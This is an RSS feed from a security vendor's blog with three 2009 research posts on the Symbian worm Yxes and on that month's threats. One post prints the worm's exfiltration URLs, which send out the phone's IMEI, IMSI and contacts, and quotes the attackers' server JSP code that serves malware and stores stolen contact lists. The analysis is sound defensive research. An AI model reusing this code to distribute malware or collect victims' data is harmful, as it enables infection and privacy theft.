<p>All variants except B are similar: they install without any security warning, regardless of any IMEI, and their root certificate is issued by &#8220;VeriSign Testing-Based ACS Root for Symbian OS&#8221;, also referred to as &#8220;Symbian B&#8221;.</p>
<p><img src="./sisware-yxes-e.jpg" alt="" /></p>
<p>Figure 1. Tool <a href="http://sisware-reviews.blogspot.com/2008/12/sisware-471-download.html">SisWare</a> showing certificates from lower to higher depth. The last certificate is a certificate issued by the root certificate, so its &#8220;issued by&#8221; field is the common name for root certificate.</p>
<p>For these variants, the first three signing methods can obviously be eliminated: there aren&#8217;t any security warning at installation so they are not self-signed, they install on any phone regardless of its IMEI, so they are not Open Signed nor from OPDA. This only leaves Express or Certified Signing. It is difficult to tell between those because they use the same web site accounts, use the same root certificate (see <a href="http://developer.symbian.com/main/downloads/files/Symbian_Signed_Grid.pdf">this grid at Symbian</a>) and Yxes does not use a capability restricted to Certified Signed such as NetworkControl or DiskAdmin. Nevertheless, as Certified Signed applications take time to sign (and cost more), my best guess is they were signed using the Express Signed program. Note that I do imply malware authors would not invest US$ 200 to spread their virus, but rather that they would not want to wait to get their application signed.</p>
<p><a href="http://www.fortiguardcenter.com/encyclopedia/virus/symbos_yxes.b!worm.html">SymbOS/Yxes.B!worm</a> is different and does not install successfully on any IMEI. A dump of its certificate shows the issuer is &#8220;C=GB, ST=London, L=Southwark, O=Symbian Software Limited, CN=Symbian Developer Certificate CA 280205A/emailAddress=developercertificates@symbian.com&#8221; and experimented developers also notice an X.509 extension:</p>
<pre>openssl x509 -text -inform DER &lt; yxesB.cer
...
       X509v3 extensions:
            1.2.826.0.1.1796587.1.1.1.1: critical
                0...353966012936006</pre>
<p>This is the IMEI restriction (where the IMEI is 353966012936006). This means SymbOS/Yxes.B was signed using the Open Signed Online or OPDA website.</p>
<p>Finally, end-users should be relieved to know nearly all certificates corresponding to Yxes are now revoked. The revocation list (CRL) can be downloaded from http://www.trustcenter.de/crl/v2/symbian_ca_I.crl. :</p>
<pre>openssl crl -in symbian_ca_I.crl.2 -inform DER -text
...

===&gt; This is SymbOS/Yxes.A!worm
Serial Number: C23A00010023A7D0AF48939BEE09
        Revocation Date: Feb 20 09:44:24 2009 GMT
        CRL entry extensions:
            X509v3 CRL Reason Code:
                Cessation Of Operation

...
===&gt; This is SymbOS/Yxes.C!worm
    Serial Number: 86E100010023AC2B0555D23BAE61
        Revocation Date: Feb 20 09:44:24 2009 GMT
        CRL entry extensions:
            X509v3 CRL Reason Code:
                Cessation Of Operation
...
===&gt; This is SymbOS/Yxes.D!worm
   Serial Number: 59D90001002343FE87A1C26833F0
        Revocation Date: Jan  9 15:12:15 2009 GMT
        CRL entry extensions:
            X509v3 CRL Reason Code:
                Cessation Of Operation
...
==&gt; This is SymbOS/Yxes.E!worm
Serial Number: AE2C0001002329D2E4228834C243
        Revocation Date: Jul 16 13:16:45 2009 GMT

...
==&gt; This is SymbOS/Yxes.F!tr
    Serial Number: 0DC50001002374FC26D186DA0E2A
        Revocation Date: Jul 16 13:16:46 2009 GMT</pre>
<p>Only a recent variant of SymbOS/Yxes.D!worm is missing, with serial number d4:44:00:01:00:23:99:77:8c:01:c1:42:ae:d1, but Symbian has been notified.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/symbian-certificates-or-how-symbosyxes-got-signed/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>July 2009 Threat Landscape: Active zero-days, Yxes upgrades, Web threats continue to grow</title>
		<link>http://blog.fortinet.com/july-2009-threatscape-active-zero-days-yxes-upgrades-web-threats-continue-to-grow/</link>
		<comments>http://blog.fortinet.com/july-2009-threatscape-active-zero-days-yxes-upgrades-web-threats-continue-to-grow/#comments</comments>
		<pubDate>Mon, 27 Jul 2009 16:21:16 +0000</pubDate>
		<dc:creator>DManky</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Threat Landscape]]></category>
		<category><![CDATA[canadian pharmacy]]></category>
		<category><![CDATA[ms activex video]]></category>
		<category><![CDATA[symbos/yxes]]></category>
		<category><![CDATA[tinypic]]></category>
		<category><![CDATA[virut]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=445</guid>
		<description><![CDATA[Many threat trends have continued as we head into August 2009. I have highlighted notable items below from our July 2009 Threat Landscape report, which can be found on Fortinet&#8217;s FortiGuard Center.
Mobile threat development continues: In July we saw the emergence of SymbOS/Yxes.E and SymbOS/Yxes.F, the latest updated variants of Yxes that we first reported [...]]]></description>
			<content:encoded><![CDATA[<p>Many threat trends have continued as we head into August 2009. I have highlighted notable items below from our <a id="h63w" title="July 2009 Threatscape report" href="http://www.fortiguardcenter.com/report/roundup_june_2009.html">July 2009 Threat Landscape report</a>, which can be found on Fortinet&#8217;s FortiGuard Center.</p>
<p><strong>Mobile threat development continues:</strong> In July we saw the emergence of <a id="qpzd" title="SymbOS/Yxes.E" href="http://www.fortiguardcenter.com/encyclopedia/virus/symbos_yxes.e%21worm.html">SymbOS/Yxes.E</a> and <a id="zjfh" title="SymbOS/Yxes.F" href="http://www.fortiguardcenter.com/encyclopedia/virus/symbos_yxes.f%21tr.html">SymbOS/Yxes.F</a>, the latest updated variants of Yxes that we <a id="a1w_" title="first reported" href="http://www.fortiguardcenter.com/advisory/FGA-2009-07.html">first reported</a> on in February. For further details, check out <a id="qy05" title="this blog post" href="http://blog.fortinet.com/symbosyxes-or-downloading-customized-malware/">this blog post</a> that is well worth the read: in particular, Yxes&#8217; served up dynamic content via JSP indeed shows the beginning steps as to how cyber criminals are addressing a market that is largely fragmented due to multiple platforms. This is important, because malicious binaries are often written for a single target (ie: Windows, OS/X). On traditional desktops, these targets are limited: however, in the mobile market, they are growing and diversifying. Thus, dynamically addressing which malware packages to serve up, as Yxes has done, is a technique which helps alleviate this issue and hints of what is to come in this area in the near future.</p>
<p><strong>Virut posts record levels while online gaming trojans flood cyberspace:</strong> W32/OnlineGames.BBR maintained and built heavily from its first place position <a id="o7sj" title="last report" href="http://www.fortiguardcenter.com/report/roundup_june_2009.html">last report</a> &#8211; accounting for 43 percent of total detected malware activity. This latest attack saw much of its volume from July 5th onward, with a peak of activity on July 8th. This campaign continues, and comes in very frequent activity on a daily basis. Besides that, the regular faces of <a id="p8:q" title="W32/Virut.A" href="http://www.fortiguardcenter.com/encyclopedia/virus/w32_virut.a.html">W32/Virut.A</a> and <a id="tzm." title="JS/PackRedir" href="http://www.fortiguardcenter.com/encyclopedia/virus/js_packredir.a%21tr.dldr.html">JS/PackRedir</a> built on their activity from our last report period. In fact, detected activity for W32/Virut.A this period climbed to record levels, underscoring the fact that this behemoth has become a dominant threat &#8211; particularily in Asia. New to this report&#8217;s top ten is <a id="uf::" title="W32/FakeAlert.EI" href="http://www.fortiguardcenter.com/encyclopedia/virus/w32_fakealert.ei%21tr.html">W32/FakeAlert.EI</a> &#8211; another rogue antivirus (&#8221;scareware&#8221;) trojan. Scareware fraud continues to be vastly popular in the digital underground, now quite diversified since we first reported on <a id="rzg-" title="heavy attack waves" href="http://www.fortiguardcenter.com/report/roundup_aug_2008.html">heavy attack waves</a> nearly one year ago in August 2008.</p>
<p><strong>Two in the wild exploits were making waves this period:</strong> One is the highly discussed MS ActiveX Video control (CVE-2008-0015, FortiGuard Advisory <a id="m-gu" title="here" href="http://www.fortiguardcenter.com/advisory/FGA-2009-26.html">here</a>) first patched on July 14th by Microsoft through <a id="tk4o" title="MS09-032" href="http://www.microsoft.com/technet/security/bulletin/ms09-032.mspx">MS09-032</a>. Exploit activity for this vulnerability was frequent throughout the month, but remained relatively low, with most prevalent activity detected in Korea, China and Japan. As of writing, the second mentioned vulnerability, MS Office Web Components (CVE-2009-1136, FortiGuard Advisory <a id="ckul" title="here" href="http://www.fortiguardcenter.com/advisory/FGA-2009-27.html">here</a>) remains unpatched / zero-day, also with relatively low detection rates with leading activity in China, India and Japan. Nonetheless, it should be reminded that any successful exploit can cause significant damage; exploits against the latter (zero-days) tend to be more successful since patches are not readily available. FortiGuard IPS detects and blocks malicious activity against both of these attacks as mentioned in their respected advisories above. The FortiGuard Global Security Research team first spotted public exploit code for <a id="frbg" title="this second vulnerability" href="http://www.fortiguardcenter.com/advisory/FGA-2009-27.html">this second mentioned vulnerability</a> on July 11th and immediately <a id="wk90" title="reported the findings" href="http://www.microsoft.com/technet/security/advisory/973472.mspx">reported the findings</a>.</p>
<p><strong>Canadian Pharmacy assaults google groups, tinypic:</strong> This month, we witnessed a flood of eCard spam continuing from last month, using various techniques &#8211; a majority of them ultimately leading victims to Canadian Pharmacy&#8217;s domains. These domains, automatically registered by combining two dictionary words as described in our <a id="kruk" title="January 2008 write-up" href="http://www.fortiguardcenter.com/analysis/canadianpharmacy.html">January 2008 write-up</a>, continue to be registered well over two years since the process began. Canadian Pharmacy&#8217;s success, fueled by an affiliate sponsorship model, invites many cyber criminals to advertise the fraudulent pharmaceuticals and drive traffic to the aforementioned domains on their behalf. The net result lands rather large chunks of change in both the Canadian Pharmacy gang and affiliates&#8217; pockets. This period, the eCard spam primarily used direct links, Google Groups and the photo sharing service Tinypic.</p>
<p>While the automatic redirection used by the Google Groups campaign is not new, Tinypic is quite interesting as it serves as another example of how spam continues to reach out to emerging platforms. While traditional spam has not ceased to exist through email, we have predicted and reported on many spam attacks through new &#8220;Web 2.0&#8243; platforms such as social networking sites. To help evade detection, cyber criminals have used services such as Tinyurl in the past to obfuscate their malicious URLs. Tinypic is a similar, recent example of how legitimate service providers are commonly used nowadays to piggyback malicious resources. Regardless of the image, or what the link appears to be, always observe where any hyperlink will actually take you and exercise due care. Finally, the Waledac gang was at it once again with another typical spam campaign, this time on July 4th just in time for the USA&#8217;s Independence Day. In terms of overall activity, spam rates continue to hold at high levels, while Japan jumped ahead of the USA into 2nd position for spam volume this period.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/july-2009-threatscape-active-zero-days-yxes-upgrades-web-threats-continue-to-grow/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SymbOS/Yxes or downloading customized malware</title>
		<link>http://blog.fortinet.com/symbosyxes-or-downloading-customized-malware/</link>
		<comments>http://blog.fortinet.com/symbosyxes-or-downloading-customized-malware/#comments</comments>
		<pubDate>Tue, 21 Jul 2009 16:14:02 +0000</pubDate>
		<dc:creator>Axelle</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[reverse engineering]]></category>
		<category><![CDATA[symbian malware]]></category>
		<category><![CDATA[symbos/yxes]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=437</guid>
		<description><![CDATA[The Symbian malware Yxes is (nearly) keeping me awake these days.
Among other functionalities, it sends HTTP requests to a remote web server. The URLs it gets are the following:
- Yxes.A: http://[REMOVED]/Kernel?Version=&#60;VERSION&#62;
- Yxes.B or Yxes.E: http://[REMOVED]/Kernel.jsp?Version=&#60;VERSION&#62;&#38;PhoneType=&#60;TYPE&#62;
- Yxes.C: no similar URL
- Yxes.D: this one issues two different requests:
http://[REMOVED]/bs?Version=&#60;VERSION&#62;&#38;PhoneImei=&#60;IMEI&#62;&#38;PhoneImsi=&#60;IMSI&#62;&#38;PhoneType=&#60;TYPE&#62;
http://[REMOVED]/number/?PhoneType=&#60;TYPE&#62;
http://[REMOVED]/index.jsp?PhoneType=&#60;TYPE&#62;
- Yxes.F: http://[REMOVED]/PbkInfo.jsp?PhoneType=&#60;TYPE&#62;&#38;PhoneImei=&#60;IMEI&#62;&#38;PhoneImsi=&#60;IMSI&#62;
TYPE is a string that represents the phone&#8217;s [...]]]></description>
			<content:encoded><![CDATA[<p>The Symbian malware <a href="http://www.fortiguardcenter.com/encyclopedia/virus/symbos_yxes.a!worm.htm">Yxes</a> is (nearly) keeping me awake these days.</p>
<p>Among other functionalities, it sends HTTP requests to a remote web server. The URLs it gets are the following:<br />
- Yxes.A: http://[REMOVED]/Kernel?Version=&lt;VERSION&gt;<br />
- Yxes.B or Yxes.E: http://[REMOVED]/Kernel.jsp?Version=&lt;VERSION&gt;&amp;PhoneType=&lt;TYPE&gt;<br />
- Yxes.C: no similar URL<br />
- Yxes.D: this one issues two different requests:<br />
http://[REMOVED]/bs?Version=&lt;VERSION&gt;&amp;PhoneImei=&lt;IMEI&gt;&amp;PhoneImsi=&lt;IMSI&gt;&amp;PhoneType=&lt;TYPE&gt;<br />
http://[REMOVED]/number/?PhoneType=&lt;TYPE&gt;<br />
http://[REMOVED]/index.jsp?PhoneType=&lt;TYPE&gt;<br />
- Yxes.F: http://[REMOVED]/PbkInfo.jsp?PhoneType=&lt;TYPE&gt;&amp;PhoneImei=&lt;IMEI&gt;&amp;PhoneImsi=&lt;IMSI&gt;</p>
<p>TYPE is a string that represents the phone&#8217;s model. For example, NokiaN95. If the malware is unable to retrieve the phone&#8217;s model, it returns by default nokia3250.<br />
VERSION is the malware&#8217;s version. Samples in the wild currently have a version number of 1.6 or 1.7<br />
IMEI is the victim&#8217;s International Mobile Equipment Identity. This number identifies the mobile phone (e.g 358777016741038).<br />
IMSI is the victim&#8217;s International Mobile Subscriber Identity. This number identifies the *subscriber*. It is stored in the SIM card.</p>
<p>All of these are Java Server Pages (.jsp), a Java technology that dynamically generates HTML pages. By chance, the malicious web servers are not correctly configured: some virtual hosts do not seem to have JSP support enabled. Consequently, the server responds with the source of the JSP instead of the dynamic page! The source code is particularly enlightening. Basically, the behaviour of Kernel.jsp, bs,jsp and index.jsp is close: the malicious web servers (or other remote servers) host several malware (for example different versions of SymbOS/Yxes) and the idea is to select and download to the victim&#8217;s phone a malware his/her phone supports. This consists in selecting malware depending on the phone&#8217;s model or user agent.</p>
<p>To do so, the JSPs first retrieve the incoming URL&#8217;s user agent and parameters:</p>
<blockquote><p><code><br />
String sUA = request.getHeader("user-agent") != null?request.getHeader("user-agent"):"NokiaN95";<br />
String sPhoneNumber = request.getParameter("PhoneNumber")==null?"":request.getParameter("PhoneNumber");<br />
String sPhoneType = request.getParameter("PhoneType")==null?"":request.getParameter("PhoneType");<br />
String sVersion = request.getParameter("Version")==null?"":request.getParameter("Version");<br />
</code></p></blockquote>
<p>Note that samples we analyzed do not set any PhoneNumber argument, so the variable sPhoneNumber is left empty.<br />
If the script handles phone&#8217;s IMEI and IMSI, they are usually logged:</p>
<blockquote><p><code><br />
String result = service.addBS_ByLog4j(sPhoneNumber, sPhoneType, "O", sIMEI, sIMSI);<br />
</code></p></blockquote>
<p>Then, based on phone&#8217;s model (sPhoneType) or user agent (sUA), the JSPs select file extensions they are interested in.</p>
<blockquote><p><code><br />
String sExt = "";<br />
if(!sPhoneType.equals(""))<br />
{<br />
sExt = nokiaDown.getFileType(sPhoneType.replaceAll(" ",""));<br />
log_client.info(sPhoneNumber+" - "+sPhoneType);<br />
}<br />
else<br />
{<br />
sExt = nokiaDown.getFileType(sUA.replaceAll(" ",""));<br />
log_browser.info(sUA);<br />
}<br />
</code></p></blockquote>
<p>For example, on Symbian OS 9.0 or greater, the JSPs look after the .sisx extension (Symbian&#8217;s installation packages). Then, they build a list of potential files which are suitable for download (the path they look into depends on versions &#8211; below the JSP looks into a directory named kernel_new, other versions look into software_new, browser_new etc).</p>
<blockquote><p><code><br />
String rootPath = service.getWebPath()+service.getCacheConfig("MAIN_FOLDER");<br />
FileManager fileManager = new FileManager();<br />
ArrayList fileList = null;<br />
String sSoftFolder = "";<br />
fileList = fileManager.getFiles(rootPath+"/download/kernel_new",sExt,null);<br />
sSoftFolder = rootPath+"/download/kernel_new/";<br />
</code></p></blockquote>
<p>Finally, the JSPs randomly select a file within that file list and initiate its download by calling another script named Download.jsp:</p>
<blockquote><p><code><br />
int i = new Random().nextInt(fileList.size());<br />
System.out.println("&gt;&gt;&gt;i="+i);<br />
String sFilePath = sSoftFolder+fileList.get(i);<br />
&lt;jsp:forward page="Download.jsp"&gt;<br />
&lt;jsp:param name="FileName" value="&lt;%=URLEncoder.encode(sFilePath,"gb2312") %&gt;"/&gt;<br />
&lt;jsp:param name="PhoneType" value="&lt;%=URLEncoder.encode(sPhoneType,"gb2312") %&gt;"/&gt;<br />
&lt;jsp:param name="Version" value="&lt;%=URLEncoder.encode(sVersion,"gb2312") %&gt;"/&gt;<br />
&lt;jsp:param name="Type" value="Kernel"/&gt;<br />
&lt;/jsp:forward&gt;<br />
</code></p></blockquote>
<p>The Download.jsp script builds the HTTP response: it sets the appropriate HTTP MIME type and then dumps the file as an attachment:</p>
<blockquote><p><code><br />
if(name.toLowerCase().endsWith(".sis"))<br />
{<br />
response.setContentType("application/vnd.symbian.install");<br />
} else if(name.toLowerCase().endsWith(".sisx"))<br />
{<br />
response.setContentType("x-epoc/x-sisx-app");<br />
}<br />
...<br />
File file = new File(sFileName);<br />
if(file.exists())<br />
{<br />
response.setHeader("Content-Disposition","attachment;filename=\""+new String(name.getBytes("gb2312"),"iso-8859-1")+"\"");<br />
try<br />
{<br />
String sHeader = "";<br />
OutputStream os = response.getOutputStream();<br />
...<br />
FileInputStream fis = new FileInputStream(file);<br />
byte[] b = new byte[1024];<br />
int i=0;<br />
while((i=fis.read(b))!=-1)<br />
{<br />
os.write(b,0,i);<br />
}<br />
fis.close();<br />
os.flush();<br />
os.close();<br />
}<br />
}<br />
</code></p></blockquote>
<p>Those scripts ensure a victim is infected with several malware in a row. For instance, a victim who receives an SMS sent by <a href="http://blogs.zdnet.com/security/?p=3713">Transmitter.C</a> and visits the URL first downloads a copy of SymbOS/Yxes.E!worm. In turn, <a href="http://www.fortiguardcenter.com/encyclopedia/virus/symbos_yxes.e!worm.html">SymbOS/Yxes.E!worm</a> downloads and infects the phone with <a href="http://www.fortiguardcenter.com/encyclopedia/virus/symbos_yxes.d!worm.html">SymbOS/Yxes.D!worm</a> or <a href="http://www.fortiguardcenter.com/encyclopedia/virus/symbos_yxes.e!tr.html">SymbOS/Yxes.F!tr</a>.</p>
<p>The PbkInfo.jsp script is different. It does not download any file, but *uploads* information to the server. The content of the HTTP request is copied on the server in data/Upload/Pbk with name &lt;DATE&gt;_&lt;IMEI&gt;_&lt;IMSI&gt;.txt where DATE is the current date, and IMEI and IMSI are the phone&#8217;s IMEI and IMSI.</p>
<blockquote><p><code><br />
String content = "";<br />
InputStream in = request.getInputStream();<br />
byte[] buf = new byte[1024];<br />
int i = 0;<br />
while((i=in.read(buf))!=-1){<br />
content += new String(buf,0,i,"utf-8");<br />
System.out.println("content added");<br />
}<br />
in.close();<br />
...<br />
SimpleDateFormat sdf = new SimpleDateFormat("yyyyMMddHHmmss");<br />
String rootPath = service.getWebPath()+service.getCacheConfig("MAIN_FOLDER");<br />
File file = new File(rootPath+"/data/Upload/Pbk/"+sdf.format(new java.util.Date())+"_"+sIMEI+"_"+sIMSI+".txt");<br />
FileWriter writer = new FileWriter(file);<br />
writer.write(content);<br />
writer.close();<br />
</code></p></blockquote>
<p>So, for example, if the malware issues an HTTP request such as http://[REMOVED]/PbkInfo.jsp?PhoneType=nokia3250&amp;PhoneImei=123456789&amp;PhoneImsi=00456, with as content a listing of all phone&#8217;s contact, then the JSP creates a file named 20090716170010_123456789_00456.txt and dumps the contact into the file. No doubt this is valuable marketing information&#8230;</p>
<p>Fortunately, the whole picture does not quite work because web servers are misconfigured, because the JSP scripts haven&#8217;t been properly debugged (missing escape sequences etc)&#8230; or because the Symbian malware themselves are bugged. For instance, though the intent is clear, I haven&#8217;t managed so far to get SymbOS/Yxes send any SMS or successfully connect to the Internet on a Nokia N95 (and, as a matter of fact, I&#8217;d be interested in hearing about how anybody succeeded: what mobile phone, conditions etc). Even if it is annoying to investigate bugged programs, I am not sure I should wish malware authors debug their malware. ;-)</p>
<p>&#8211; The Crypto Girl.</p>
<p>PS. Thanks to Dong Xie, Jie Zhang and David Maciejak for their help on this topic.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/symbosyxes-or-downloading-customized-malware/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
